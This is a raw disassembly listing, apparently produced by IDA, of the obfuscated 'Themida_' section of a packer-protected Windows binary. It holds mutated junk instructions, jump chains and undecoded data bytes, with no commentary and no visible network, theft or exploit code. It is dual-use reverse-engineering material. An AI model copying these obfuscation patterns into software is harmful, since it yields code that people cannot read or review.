		dd 0F706EEC1h, 7AD2E9DEh, 248B0000h, 4C28124h, 81000000h
		dd 2C2h, 7739E900h, 0A9B30000h,	0DD00C4B5h, 0D0CDFE5Bh
		dd 5312E9E5h, 34310000h, 24343324h, 0E924248Bh,	7866h
; ---------------------------------------------------------------------------


loc_589D0C:				; CODE XREF: Themida_:0058CE81j
		mov	edi, esp
		push	edx
		mov	edx, 398D26D4h
		push	esi
		mov	esi, 0AB9194Dh
		and	edx, esi
		pop	esi
		push	edi
		mov	edi, 222357FAh
		xor	edi, 23ED77AFh
		xor	edi, 244A6D41h
		add	edx, edi
		pop	edi
		inc	edx
		xor	edx, 2E0D4D5Dh
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		jmp	loc_58EACE
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFE513h, 0A9E9D3F7h, 8100001Dh, 491BD4CFh, 5DF7812Dh
		dd 0F777C957h, 20FE9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_589D72:				; CODE XREF: Themida_:005896A1j
		mov	eax, edi
		pop	edi
		push	ebx
		jmp	loc_59132F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 20BE5600h, 8138B519h, 0B828E4EEh, 4EDEF756h, 8108EEC1h
		dd 675551C6h, 0A2C68152h, 0E9AD7AA7h, 6C6Bh, 4B8h, 58C60100h
		dd 4C681h, 34870000h, 0C3805C24h, 0EC8151E3h, 4, 50241489h
		dd 0FFC69CE9h, 5AD701FFh, 3302C783h, 3C31243Ch,	243C3324h
		dd 0C331665Ch, 0E9C0B70Fh, 41F7h, 0D02818B2h, 0E952665Ah
		dd 3723h
dword_589DF0	dd 240C8B66h, 519668h, 77CBE900h		db 2 dup(0)
word_589DFE	dw 34FFh		; DATA XREF: Themida_:00585C4Co
aXsi		db '$Xé©>',0
		dw 5400h
		dd 0F2AEE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589E0E:				; CODE XREF: Themida_:0058ADDEj
		mov	eax, 594A181Eh
		add	eax, 82A1936h
		add	eax, 14A214BCh
		mov	edx, eax
		pop	eax
		or	edx, 5A027BA1h
		push	ebp
		mov	ebp, 0
		sub	ebp, edx
		xchg	ebp, edx
		jmp	loc_58F4F1
; ---------------------------------------------------------------------------
		db 87h,	0D7h, 0F7h
		dd 81D787D2h, 0EE9B2EFh, 2C8157F3h, 1578224h, 3814E90Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_589E4E:				; CODE XREF: Themida_:00590296j
		add	esp, 4
		jmp	loc_58B361
; ---------------------------------------------------------------------------
aVht		db 'Vh’`',0
		dw 5400h
		dd 8324048Fh, 0E9042404h, 1A3h,	4C4835Bh, 8B24048Fh, 0C4812424h
		dd 4, 157E68h, 243C8900h, 0A852F3BFh, 4EC8129h,	89000000h
		dd 8CBA2414h, 0E97A077Ch, 0B12h, 0D4F6E586h, 0F668E586h
		dd 8900005Bh, 88532404h, 8BD888D3h, 0C481241Ch,	4, 0C588EA88h
		dd 30D2F658h, 0E9EA30D5h, 0FFFFF31Fh, 0F088A1B6h, 4EA6E9h
		dd 6FE7BB00h, 0DF211472h, 83241C8Bh, 0EF8104C4h, 4104A0Bh
		dd 0FFED9DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_589EE9:				; CODE XREF: Themida_:0058A6E2j
		add	esp, 4
		add	esi, 4
		jmp	loc_5886C8
; ---------------------------------------------------------------------------


loc_589EF7:				; CODE XREF: Themida_:0058901Aj
		mov	ecx, [esp]
		push	eax
		jmp	loc_587FAF
; ---------------------------------------------------------------------------
aMsG		db 'Ž[g',0             ; DATA XREF: Themida_:00585BD8o
		align 2
		dw 0D830h
		dd 0CB52E952h, 0C601FFFFh, 24348758h, 8F24248Bh, 248B2404h
		dd 48B6624h, 4EC8324h, 54241C89h, 83241C8Bh, 0BE5604C4h
		dd 4, 376DE9h, 51D7F600h, 0E5C00EB5h, 80EDD002h, 22E96DEDh
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_589F4B:				; CODE XREF: Themida_:005892B2j
		add	edi, 0FFFFFFFFh
		sub	edi, 1
		shr	edi, 8
		push	esi
		mov	esi, 61623AE9h
		dec	esi
		shr	esi, 7
		shr	esi, 8
		push	esi
		jmp	loc_58A430
; ---------------------------------------------------------------------------
byte_589F6D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00585C60o
aSiuhkx		db '$S‰ãhŠx',0
		dd 243C8900h, 12F0E9h, 81DFF700h, 6B735BC7h, 5FFA0165h
		dd 0FFE067E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_589F91:				; CODE XREF: Themida_:0058780Ej
		and	ecx, ebp
		pop	ebp
		jmp	loc_587DF9
; ---------------------------------------------------------------------------
byte_589F99	db 8Bh,	0Ch, 24h	; DATA XREF: Themida_:00585A1Co
		dd 6E5468h, 24048900h, 24048B54h, 0FFC6C4E9h, 4EC83FFh
		dd 86EE9h, 58C60100h, 2474FF56h, 48F5E04h, 0DFE95C24h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_589FC7:				; CODE XREF: Themida_:0058C410j
		sub	eax, 4E403075h
		pop	edx
		pop	ebx
		jmp	loc_5915A0
; ---------------------------------------------------------------------------
aRGaSc?		db 'Rº~G[!Ðé–?',0
		align 10h


loc_589FE0:				; CODE XREF: Themida_:00585E33j
		push	dword ptr [esp+4]
		jmp	loc_58ABE8
; ---------------------------------------------------------------------------


loc_589FE9:				; CODE XREF: Themida_:0058BD8Dj
		add	esi, 0A433B5ABh
		jmp	loc_58E507
; ---------------------------------------------------------------------------
		dd 665B2B04h, 52B15150h, 782DE952h
		db 2 dup(0)
word_58A002	dw 0A668h		; DATA XREF: Themida_:005859E4o
		dd 89000062h, 0EFE9240Ch, 5EFFFFCDh, 4C681h, 56500000h
		dd 57138568h, 0C6815E6Ch, 93A8EC7Fh, 0E9F28952h, 5E83h
		dd 0B653B40Dh, 28480534h, 0EE810341h, 31F70D52h, 0E951C601h
		dd 185Fh
; ---------------------------------------------------------------------------


loc_58A044:				; CODE XREF: Themida_:005901C4j
		add	al, ch
		jmp	loc_58850A
; ---------------------------------------------------------------------------
		db 59h
		dd 5C24048Fh, 68243C89h, 241Ah,	24048F54h, 132BE951h, 53590000h
		dd 43A1E9h, 7BE28100h, 0E9396153h, 0E79h
; ---------------------------------------------------------------------------


loc_58A074:				; CODE XREF: Themida_:00588866j
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5871A4
; ---------------------------------------------------------------------------
		dd 50AC6866h, 24048966h, 0FFBC36E9h
		db 0FFh
byte_58A08D	db 68h,	0ADh, 37h	; DATA XREF: Themida_:00585AECo
		dd 97680000h, 89000039h, 4812424h, 424h, 6A4DE900h, 0CA810000h
		dd 697939F9h, 8142DAF7h, 357285E2h, 69CA811Eh, 0E948C575h
		dd 45A6h, 5B66F888h, 0E9530704h, 1684h,	122268h, 24148900h
		dd 83C18851h, 17E904ECh, 0F6000021h, 0ACEC80DCh, 5117E9h
		dd 0B60F6600h, 0EC8353CCh, 24248904h, 4240483h,	5E68515Bh
		dd 8B3D615Eh, 0FDE9240Ch, 8BFFFFDCh, 0C481242Ch, 4, 8756F587h
		dd 0D3F7241Ch, 6B59E9h,	0BBA1E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A122:				; CODE XREF: Themida_:00588818j
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	0D8Dh
		jmp	loc_58D429
; ---------------------------------------------------------------------------


loc_58A136:				; CODE XREF: Themida_:0058CF90j
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		jmp	loc_58E703
; ---------------------------------------------------------------------------
		dd 215F68h, 242C8900h, 0CF9E954h, 0EB010000h, 7984EB81h
		dd 535D53DDh, 42474FFh,	24048F5Bh, 0C8BE0F5Ch, 229768h
		dd 63E4E900h, 805B0000h, 5E936C4h, 81FFFFE3h, 81A680EFh
		dd 5FF90144h, 4C181h, 0C330000h, 240C3124h, 8B240C33h
		dd 0C5812424h, 4, 5A2368h, 0D5FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A1AA:				; CODE XREF: Themida_:0058C7D8j
		mov	ebp, edx
		jmp	loc_58AFAD
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 49255AF8h, 0FFCCCAE9h, 143358FFh, 24143124h,	8B241433h
		dd 0F662424h, 6866C8BEh, 89666B06h, 0E8E9240Ch,	80FFFFBAh
		dd 0E78836F4h, 5BF82858h, 24148B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_58D9BB
; ---------------------------------------------------------------------------
aQO		db 'Q±Ž°-',0
		dw 59C8h
		dd 0F62CD0F6h, 0F904AA24h, 0E958C288h, 1D9h, 5C241C87h
		dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFBAA7h, 5604C483h
		dd 7B40E6BEh, 24742904h, 2434FF04h
		db 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		jmp	loc_58C227
; ---------------------------------------------------------------------------
aFqs?		db 'fQé?:',0
		align 4
		dd 0D67DA368h, 242C8B56h, 0C104C483h, 0BF5702EDh, 2AAA7EEBh
		dd 39E9FD09h, 80000028h, 0E48084CCh, 8FB353D8h,	0F380C3FEh
		dd 5BDC30B6h, 8018EC80h, 0E388ADF4h, 0B6526658h, 66F328A9h
		dd 8124148Bh, 2C4h, 0FFC38000h,	91B25266h, 0FFE584E9h
		dd 242C8BFFh, 1901E9h, 24148900h, 5E05E9h, 0FFD82100h
		dd 0EDE92434h, 5300000Bh, 0FFC2FFE9h, 305B66FFh, 0C0B60FC3h
		dd 6887048Dh, 6588h, 0E9242C89h, 107Bh,	0BDE9CCFEh, 81000023h
		dd 4C4h, 0F6E95700h, 81000047h,	4C5h, 4C58100h,	87000000h
		dd 685C242Ch, 293Fh, 0E9240489h, 0FFFFE19Ch
; ---------------------------------------------------------------------------


loc_58A300:				; CODE XREF: Themida_:0059003Aj
		mov	ebp, ebx
		jmp	loc_58DE3B
; ---------------------------------------------------------------------------
byte_58A307	db 0ACh			; DATA XREF: Themida_:00585A68o
		dd 0FFFBF9E9h, 0B9B1E9FFh
		db 2 dup(0FFh)
word_58A312	dw 8B66h		; DATA XREF: Themida_:00585A94o
		dd 54502404h, 2B8AE958h, 0EE010000h, 76DAC681h,	875D05E3h
		dd 248B2434h, 3004E924h, 0F0290000h, 0FFD829E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58A339:				; CODE XREF: Themida_:005872E7j
		pop	dword ptr [esp]
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_58C27E
; ---------------------------------------------------------------------------
		dw 46B8h
		dd 0E972A149h, 0FFFFD2C6h, 58C6895Fh, 535FFE29h, 78ADE9h
		db 0
; ---------------------------------------------------------------------------


loc_58A35D:				; CODE XREF: Themida_:0058EAD4j
		xor	edi, [esp]
		mov	esp, [esp]
		push	74D0h
		mov	[esp], ebx
		mov	ebx, 8107520h
		sub	ebx, 1
		push	3AE4h
		mov	[esp], edi
		mov	edi, 75462238h
		shl	edi, 4
		jmp	loc_591B75
; ---------------------------------------------------------------------------
dword_58A388	dd 0E92434FFh, 7742h; ---------------------------------------------------------------------------


loc_58A390:				; CODE XREF: Themida_:0058B364j
		mov	[esp], eax
		mov	eax, 167B4A4Eh
		push	edx
		mov	edx, 4AD604F8h
		push	eax
		jmp	loc_586D7E
; ---------------------------------------------------------------------------
		dd 0FFB91AE9h, 0E90159FFh, 0BE8E9h
		db 0
; ---------------------------------------------------------------------------


loc_58A3B1:				; CODE XREF: Themida_:005904D5j
		xor	ebx, 5651544Ah
		neg	ebx
		push	edi
		mov	edi, 66A90E55h
		neg	edi
		jmp	loc_588E1B
; ---------------------------------------------------------------------------


loc_58A3C6:				; CODE XREF: Themida_:005915B4j
		add	[esp+4], ebp
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_58B968
; ---------------------------------------------------------------------------
		dw 0C828h
		dd 0FFE314E9h, 93CA80FFh, 8020F280h, 0EAC044C2h, 381FE903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A3F2:				; CODE XREF: Themida_:0058EED2j
		add	esp, 4
		push	ebx
		mov	ebx, 24h
		add	ebx, edi
		add	[ebx], edx
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		jmp	loc_588C53
; ---------------------------------------------------------------------------
byte_58A40D	db 0ADh, 0E9h, 65h	; DATA XREF: Themida_:00585A20o
		dd 5CFFFFD4h, 0FFB8AAE9h, 40EB81FFh, 815EC709h,	2C031DEBh
		dd 67EB8116h, 0E9495557h, 1703h
; ---------------------------------------------------------------------------


loc_58A430:				; CODE XREF: Themida_:00589F68j
		not	dword ptr [esp]
		pop	esi
		jmp	loc_58E1CB
; ---------------------------------------------------------------------------


loc_58A439:				; CODE XREF: Themida_:0058B745j
		sub	edx, 6C2635ACh
		sub	edx, 3CF407ABh
		sub	eax, edx
		pop	edx
		add	edx, eax
		pop	eax
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		xor	eax, 3AF271C6h
		sub	esp, 4
		jmp	loc_591461
; ---------------------------------------------------------------------------
aJ@NsV		db 'ºJ@Çné¼v',0
		align 4
		dd 0E465A135h, 0EE14E963h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A47E:				; CODE XREF: Themida_:0058F150j
		push	dword ptr [esp]
		jmp	loc_58B79C
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0FFFFEC0Ah, 3515E952h, 54550000h, 2B58E95Dh,	0C3800000h
		dd 0E9516681h, 38F1h, 0A52E981h, 0D9F77049h, 577AE981h
		dd 69E9019Ah
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58A4B7:				; CODE XREF: Themida_:0058AA87j
		add	ecx, edi
		jmp	loc_58EC91
; ---------------------------------------------------------------------------
		dw 1FBAh
		dd 0E919936Eh, 6BCh, 8B7CC281h,	0D6014046h, 0C2E9585Ah
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A4D7:				; CODE XREF: Themida_:00586643j
		mov	ebx, 4F22831h
		jmp	loc_5919D8
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
aRithS		db 'R‰âhËS',0
		align 4
		dd 81242C89h, 4ECh, 24148900h, 43407B68h, 0BE565A29h, 51D85F7Ah
		dd 0FFEFDBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58A509:				; CODE XREF: Themida_:0058F712j
		mov	[esp], eax
		xchg	eax, [esp]
		push	eax
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5872E6
; ---------------------------------------------------------------------------


loc_58A51A:				; CODE XREF: Themida_:0058D3F9j
		push	ecx
		push	dword ptr [esp]
		jmp	loc_5900BB
; ---------------------------------------------------------------------------
aU44u		db '°u4Ç4“',0
		dw 58C3h
		dd 0FB9AE959h, 0ADBEFFFFh, 0F71FD76Ah, 0D4EE81DEh, 29E2C3C2h
		dd 0BF575EF3h, 36A94065h, 15FFE01h, 65EE81DEh, 8B36A940h
		dd 0C483241Ch, 24348704h, 0E924248Bh, 71EFh, 4BDh, 2BC78100h
		dd 1439602h, 2BEF81EFh,	5D439602h, 8B243C87h, 77FF2424h
		dd 0FF5BE91Ch, 0E089FFFFh, 6F26E9h
		db 0
; ---------------------------------------------------------------------------


loc_58A58D:				; CODE XREF: Themida_:0058E312j
		push	edi
		jmp	loc_58AD72
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0FAED81DDh, 9DD0643h, 0E9C15DE9h, 6DA0E903h,	7F680000h
		dd 89000039h, 6850240Ch, 5EAD4068h, 42683558h, 0C1895EADh
		dd 8124048Bh, 4C4h, 0FFC82100h,	0C8B2434h, 4C48124h, 57000000h
		dd 0E1E9E789h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A5DB:				; CODE XREF: Themida_:0058822Bj
		or	ebp, 21334907h
		shr	ebp, 2
		jmp	loc_59190D
; ---------------------------------------------------------------------------
aFq		db 'fQµ*',0
		dw 66E8h
		dd 51240C8Bh, 603DE9h
		db 0
; ---------------------------------------------------------------------------


loc_58A5F9:				; CODE XREF: Themida_:0058B6F0j
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_590285
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 1
		dd 0E9D0C9FEh, 0FE04E9C0h, 0A7BE9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A61A:				; CODE XREF: Themida_:00589ACCj
		shr	dh, 2
		xor	dh, 7Dh
		jmp	loc_58DD44
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 4
		dd 87000000h, 0E95C240Ch, 0FFFFF62Dh, 4B9h, 36E9E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A63E:				; CODE XREF: Themida_:0058B07Aj
		inc	esi
		push	ecx
		mov	ecx, 1F16723Eh
		jmp	loc_58654B
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0B7535124h, 5BFD88B6h, 5037ED80h, 8851EC88h,	59EF88E5h
		dd 547FE9h
		db 0
; ---------------------------------------------------------------------------


loc_58A665:				; CODE XREF: Themida_:0058C7C4j
		pop	edi
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_58D451
; ---------------------------------------------------------------------------
aYsc3		db 'Yéç3',0
		align 4
aEvzbNIsS	db '¿ÔeVZÏN',9,'±ié¶S',0
		align 4


loc_58A698:				; CODE XREF: Themida_:00587B4Cj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_58EED7
; ---------------------------------------------------------------------------
		dd 0C737E505h, 0E0C15A54h, 50D0F704h, 33241C31h, 1C31241Ch
		dd 0D6DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A6C6:				; CODE XREF: Themida_:005876DDj
		pop	ebx
		sub	al, 0BDh
		add	al, dl
		add	al, 0BDh
		add	al, 0B7h
		jmp	loc_587C17
; ---------------------------------------------------------------------------


loc_58A6D4:				; CODE XREF: Themida_:005880D3j
		add	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_589EE9
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 395Bh
dword_58A6F0	dd 0FBF68h, 241C8900h, 0C381E389h, 4, 2BE56h, 0F3290000h
					; DATA XREF: Themida_:00585C3Co
		dd 7CC4685Eh, 0C0E90000h, 5FFFFFF2h, 0E958C289h, 1A78h
		dd 0E6E9C529h, 81FFFFBDh, 952606E9h, 0D244E90Eh, 0DBF7FFFFh
		dd 0E94BD3F7h, 4D3h, 0E966EB80h, 0FFFFDD79h, 0C1E9515Ch
		dd 500004Eh, 79C7085Eh,	8CB85056h, 0BE59CA0Fh, 16CF3C74h
		dd 0F758C631h, 81D6F7D6h, 72B3EF6h, 8BF00131h, 0C4812434h
		dd 4, 0DB685159h, 89000037h, 0B9BF243Ch, 813D214Bh, 0D254D4CFh
		dd 32E78127h, 0E96EB859h, 0FFFFE45Fh, 0ADEBD66h, 8AF58166h
		dd 0C5816631h, 45660EBAh, 6054E9h, 242C8B00h, 0FFCDA5E9h
		dd 4EC81FFh, 89000000h,	0B753240Ch, 0E9FD88ADh,	2DAEh
		dd 3CB95145h, 8134A835h, 25821FF1h, 0E9CD29EEh,	0FFFFFBD5h
		dd 0AD4AC5BAh, 5AD00137h, 0D6E9535Eh, 81FFFFDBh, 4ECh
		dd 52A2E900h, 4CBF0000h, 4768B068h, 0FFC80CE9h,	0DD0F7FFh
		dd 1F476A9Bh, 0FFE477E9h, 0FA0158FFh, 4C2815Fh,	83000000h
		dd 148904ECh, 440CE924h, 24D20000h, 0A0E99C24h,	89FFFFB4h
		dd 0FF54241Ch, 33E92434h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58A82F:				; CODE XREF: Themida_:005866EEj
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_58AA92
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 1ED3E9h
		db 0
; ---------------------------------------------------------------------------


loc_58A841:				; CODE XREF: Themida_:0058B70Dj
		neg	ebp
		jmp	loc_588225
; ---------------------------------------------------------------------------
		dd 2C481h, 0C3800000h, 0F7B551B3h, 0E901ED80h, 2652h, 45E9F901h
		dd 0C1000064h, 0CE8108E6h, 29F95784h, 280CCE81h, 0DEF716D2h
		dd 0EE90C681h, 0F3294812h, 0FFBB34E9h, 1E95DFFh
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58A887:				; CODE XREF: Themida_:0058F6FEj
		pop	esp
		shr	ecx, 0Ah
		push	1788h
		jmp	loc_58C618
; ---------------------------------------------------------------------------
		db 68h,	67h, 7Ch
		dd 0C890000h, 719B924h,	0C18168F5h, 15498Ch, 0C8BC801h
		dd 4C48124h, 68000000h,	1FADh, 0BA241489h, 68AC25B7h, 2ACFE9h
		dd 4BF5700h, 1000000h, 3A685FFBh, 8900000Ah, 4B82404h
		dd 29000000h, 1FE958C3h, 89FFFFEEh, 2434FFD3h, 8324148Bh
		dd 895304C4h, 0F043E9E3h, 4BEFFFFh, 0E9000000h,	35AEh
		dd 34FFE831h, 89515D24h, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 3124248Bh, 47CDE9C3h, 0C890000h, 6AF0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A92A:				; CODE XREF: Themida_:00586909j
		push	ecx
		mov	cl, 1
		xor	cl, 3Fh
		sub	cl, 2Fh
		xor	cl, 6Dh
		sub	bl, 80h
		add	bl, cl
		push	ecx
		mov	cl, 80h
		add	bl, cl
		pop	ecx
		pop	ecx
		sub	al, bl
		pop	ebx
		sub	al, dl
		jmp	loc_58E3C7
; ---------------------------------------------------------------------------
		dd 0C0FAB753h, 0D7F607E7h, 141EE9h, 2FEABE00h, 0E9566415h
		dd 6607h, 8108E5C1h, 8F6FB0EDh,	0E7F58169h, 194831Bh, 47DBE9E8h
		dd 815E0000h, 4C1h, 0C36CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A986:				; CODE XREF: Themida_:00591185j
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_589B5C
; ---------------------------------------------------------------------------
		dd 0BA52E389h, 63A8730Dh, 55168h, 0B352E900h, 0CA81FFFFh
		dd 0AB314B1h, 0F742DAF7h, 2AE281D2h, 0E9124C0Eh, 5464h
		dd 2188F381h, 0EBE974DCh, 89FFFFEDh, 418AE9E3h,	0C1810000h
		dd 7F281725h, 126EC181h, 525360D8h, 6C2CE3BAh, 81DAF72Bh
		dd 346D8CCAh, 0EA814204h, 0CEA1F61Fh, 15AD389h,	0CD015BDDh
		dd 97FBB53h, 90E90616h,	56000058h, 532BEDBEh, 5EF12904h
		dd 2C18158h, 51000000h,	42474FFh, 51240C8Bh, 0C181E189h
		dd 4, 549BE9h, 8CE95C00h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58AA37:				; CODE XREF: Themida_:00590211j
		mov	ebp, 132EE1h
		sub	[esp+4], ebp
		jmp	loc_5882BC
; ---------------------------------------------------------------------------
byte_58AA45	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00585B04o
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5880C4
; ---------------------------------------------------------------------------


loc_58AA61:				; CODE XREF: Themida_:00587222j
		xor	esi, [esp]
		jmp	loc_58FB38
; ---------------------------------------------------------------------------
		db 5Eh,	33h, 1Ch
		dd 241C3124h, 0FFB479E9h
		db 0FFh
; ---------------------------------------------------------------------------

locret_58AA75:				; CODE XREF: Themida_:00590173j
		retn
; ---------------------------------------------------------------------------
		dw 9CE9h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58AA7B:				; CODE XREF: Themida_:005889CDj
		add	ecx, 82069511h
		add	ecx, 43852C8Ah
		jmp	loc_58A4B7
; ---------------------------------------------------------------------------
		dd 4616E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58AA92:				; CODE XREF: Themida_:0058A834j
		push	eax
		mov	eax, 24h
		add	eax, edi
		push	edx
		push	ebx
		jmp	loc_590E31
; ---------------------------------------------------------------------------


loc_58AAA1:				; CODE XREF: Themida_:0058F284j
		mov	edx, 622E9Eh
		or	edx, 670D7D4Dh
		inc	edx
		shr	edx, 6
		xor	edx, 32E4F279h
		sub	eax, edx
		pop	edx
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 4
		and	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		push	esp
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58FA83
; ---------------------------------------------------------------------------
		dd 0F8000104h, 2F04012Ch, 241C8B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_587708
; ---------------------------------------------------------------------------
		dd 582434FFh, 4C481h, 4050000h,	52000000h, 24A0E9h, 6BE68000h
		dd 5002E6C0h, 0D0F6EFB0h, 9E2CD0F6h, 0C6005B34h, 5870E9h
		dd 0E1895100h, 4C181h, 0EC830000h, 241C8904h, 4BBh, 5BD90100h
		dd 5C240C87h, 278B68h, 242C8900h, 0C581E589h, 4, 0FFE809E9h
		dd 0E28952FFh, 0FFC478E9h, 2EEC1FFh, 44FDE955h,	3C890000h
		dd 0B1C1E924h, 489FFFFh, 0E9E08924h, 61FBh, 148BD189h
		dd 4C48324h, 5B595351h,	0D987D3F7h, 5601E983h, 4B6B96BEh
		dd 77EE813Fh, 0F77B8646h, 68E2E9D6h, 81580000h,	1C6h, 5E6C100h
		dd 585FEE81h, 0F009C29Eh, 2B40E9h, 0C7815D00h, 4, 580EE9h
		db 0
; ---------------------------------------------------------------------------


loc_58ABCD:				; CODE XREF: Themida_:00589642j
		push	5F04h
		mov	[esp], edi
		push	1
		pop	edi
		jmp	loc_58C020
; ---------------------------------------------------------------------------


loc_58ABE0:				; CODE XREF: Themida_:005903D6j
		pop	edi
		sub	edi, ebx
		jmp	loc_58F729
; ---------------------------------------------------------------------------


loc_58ABE8:				; CODE XREF: Themida_:00589FE4j
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------
		dd 0B7768h, 24248900h, 4BA52h, 54010000h, 8AE90424h, 5000002Fh
		dd 0FFDDC1E9h, 41A0BDFFh, 0EA215524h, 3605E9h
		db 0
; ---------------------------------------------------------------------------


loc_58AC1D:				; CODE XREF: Themida_:005875ACj
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_5905B8
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 6BB3E9h
		db 0
byte_58AC39	db 0ADh, 0E9h, 5Ah	; DATA XREF: Themida_:00585B80o
		dd 5FFFFFC6h, 0BBC1815Ah, 810F014Ah, 493C68C1h,	81F90162h
		dd 493C68E9h, 0C1E95362h, 5BFFFFCEh, 4C381h, 0C3810000h
		dd 4, 55CEE953h, 0B9510000h, 106A787Dh,	2414F751h, 0FFDEE6E9h
		db 0FFh
byte_58AC7D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00585BE8o
		dd 0E0E95124h, 89FFFFCCh, 4BD55E7h, 0E9000000h,	1231h
		dd 6859CD31h, 3F96h, 0B8240489h, 64150DBFh, 0DC8E9h, 24348700h
		dd 4EC835Ch, 6ADAE9h
		db 0
; ---------------------------------------------------------------------------


loc_58ACB5:				; CODE XREF: Themida_:0058EFCCj
		sub	ebp, 59C70D49h
		sub	ebp, ebx
		add	ebp, 59C70D49h
		pop	ebx
		sub	ebp, 46AF5381h
		sub	ebp, 5F7153Ah
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_588A3A
; ---------------------------------------------------------------------------
aAqxss		db '€ï•éé!',0
		align 2
		dw 0D889h
		dd 0BA95E95Bh, 0F021FFFFh, 5E2434FFh, 3DD1E950h
		db 2 dup(0)
word_58ACF6	dw 5ADh			; DATA XREF: Themida_:00585A78o
a7uuSI		db '7uu{é-i',0
		dd 48F5900h, 54525C24h,	8324148Bh, 0C28104C4h, 4, 0FFE6FFE9h
		dd 81FB01FFh, 7814D1C3h, 0BA525633h, 7B6E300Ah,	67011EBEh
		dd 0E9D6310Dh, 0FFFFD605h, 0C8005966h, 1BB4E9h
		db 0
; ---------------------------------------------------------------------------


loc_58AD3D:				; CODE XREF: Themida_:00590866j
		xor	esi, 214660F6h
		jmp	loc_58BE7E
; ---------------------------------------------------------------------------
		dd 0C8BC889h, 4C48124h,	81000000h, 0D81601C6h, 81C60179h
		dd 0D81601EEh, 34875879h, 24248B24h, 2424D366h,	0AF51E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58AD72:				; CODE XREF: Themida_:0058A58Ej
		push	esi
